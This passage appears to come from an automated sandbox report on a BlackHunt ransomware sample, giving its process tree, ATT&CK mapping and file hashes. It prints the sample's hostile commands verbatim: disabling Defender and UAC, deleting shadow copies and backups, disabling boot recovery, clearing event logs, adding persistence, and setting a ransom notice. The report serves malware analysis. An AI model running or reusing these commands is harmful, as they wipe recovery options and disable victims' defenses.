ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 46 PID 2264 wrote to memory of 2564 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 46 PID 2264 wrote to memory of 2564 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 46 PID 2264 wrote to memory of 2808 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 47 PID 2264 wrote to memory of 2808 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 47 PID 2264 wrote to memory of 2808 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 47 PID 2264 wrote to memory of 2808 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 47 PID 2264 wrote to memory of 2560 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 48 PID 2264 wrote to memory of 2560 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 48 PID 2264 wrote to memory of 2560 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 48 PID 2264 wrote to memory of 2560 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 48 PID 2264 wrote to memory of 1860 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 50 PID 2264 wrote to memory of 1860 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 50 PID 2264 wrote to memory of 1860 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 50 PID 2264 wrote to memory of 1860 2264 ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe 50 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe"C:\Users\Admin\AppData\Local\Temp\ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2264 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:2080
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:332
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2688
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵PID:1504
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2736
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:712
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2760
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2392
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2900
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1096
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2644
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2008
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2664
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2672
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1188
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2812
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1064
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2656
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:648
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2816
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1992
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2804
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1960
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2564
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1628
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2808
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2156
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2560
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:3024
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:1860
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2592
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1788
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2652
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2248
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2568
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2272
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2660
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2492
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2992
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2580
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2340
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1996
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2032
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:408
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1880
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2908
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3004
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2136
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:352
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:844
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1252
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1212
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2820
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1120
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe" /F2⤵PID:2856
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe" /F3⤵
- Creates scheduled task(s)
PID:928
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:576
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2540
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:896
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1496
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1244
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
- Modifies registry class
PID:1504
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1696
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2604
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:3028
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1116
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2020
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1072
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2500
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1932
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2968
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:340
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2816
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1636
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1548
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:3136
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:3408
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:220
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:3300
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:3440
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:3584
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:3456
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3356
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:580
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3240
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3228
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3256
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:3572
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2000
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1604
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2696
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3448
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:4080
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3672
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3888
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:3396
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:3644
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3260
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:3636
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2992
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3768
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1116
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:3564
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:2124
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:3200
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:1684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3544
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:1616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:3316
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:4012
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:3600
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:4056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:232
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:4068
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:3476
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3000
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:1120
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:3736
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\ceecf4ad5807ab301b32f2a6a438f00638339ddd103d1d4d8772a19a4c8022b4.exe"2⤵
- Deletes itself
PID:3320 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1920
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1468
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1460
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2644
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1888
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
6Replay Monitor
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Downloads
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Filesize
684B
MD5299089ad706f698de5b0543ee781d3e2
SHA17cbc942a97576efe150ccc67cf254b88b89e0397
SHA256ce76c752b768b8ee8738970b235e3a116c7779e7c31fe1b95fe60cb289c5d99a
SHA512bb0264b0bb8ce04e269c8101cd71230ca850e4cc6572c491257e19bcf765aebb68c18ecc242d2f7594cb2c65acefddc505bbde4a637c4fd818da6d89635a0d54
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Filesize
1KB
MD5fd3f342b9957eacd3549c9c9340f53a3
SHA1b5a0df11ee93b914b2e29706f9ea8c32a4259cac
SHA2569c99314313f17a0d09ca29715e036926c37563103c61e7c40c0a90f8dfaf888f
SHA512c22256993af6065752b05b7503e55e159ef7bcc8f2b26feaa07b4adf5bc16eb998b79c58745e34bf7597b6afc06956f2b77514a033a2a63b4c4800bd418508ab
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Filesize
12KB
MD54ee19e83929cb9f76e6bec5e06307aca
SHA138e81bdaaa1ca3087511b12990b5646b7ecc7147
SHA2566d3064f4f6950284d888dbccfd0d93e0103bc02520d9eb3a532a9af081a57f7c
SHA512166c15615c9bdf0bd276945abc7b27e5848ca4a9117630ec64e23ee25e836be8d649f477c8f9ddfa816f3bdd46b4db251b140c225155a6c1f3f8e3c21b19d5ad